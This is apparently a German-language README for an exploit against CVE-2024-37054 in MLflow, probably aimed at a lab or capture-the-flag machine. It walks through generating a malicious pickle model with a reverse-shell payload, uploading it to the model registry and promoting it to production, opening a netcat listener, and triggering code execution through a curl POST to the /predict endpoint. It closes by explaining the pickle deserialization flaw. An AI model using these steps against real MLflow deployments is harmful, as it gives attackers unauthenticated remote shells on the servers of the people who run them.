
Exploit für CVE-2024-37054: Erzeugt ein bösartiges Pickle-Modell, lädt es in MLflow hoch und löst Remote-Codeausführung über den /predict-Endpunkt aus.
| Datei | Zweck |
|---|
generate_model.py | Generiert bösartiges model.pkl mit Reverse-Shell-Payload |
upload_model.py | Lädt Pickle in MLflow hoch und stuft es auf Produktion hoch |
sample.csv | CSV-Datei, die verwendet wird, um den /predict-Endpunkt auszulösen |
Bearbeiten Sie generate_model.py und setzen Sie Ihre tun0-IP:
python3 generate_model.py
nc -lvnp 4444
Bearbeiten Sie upload_model.py:
MLFLOW auf http://127.0.0.1:5000MODEL_NAME auf den aktiven Modellnamen, der auf der Hauptdomain zu finden istpython3 upload_model.py
Holen Sie sich ein frisches Sitzungscookie von der Client-Anwendung und führen Sie dann aus:
curl -X POST http://127.0.0.1:80/predict \
-H "Cookie: session=<YOUR_SESSION_COOKIE>" \
-F "[email protected]"
Die Shell wird auf Ihrem Listener empfangen.
Pickle-Deserialisierung über die MLflow-Modellregistrierung
MLflow lädt registrierte Modelle mit Pythons pickle.load(). Durch das Hochladen eines manipulierten Pickles als Modell-Artefakt und das Hochstufen auf Produktion deserialisiert jeder nachfolgende Aufruf von /predict die Payload serverseitig, was eine nicht authentifizierte RCE als der Anwendungsbenutzer ermöglicht.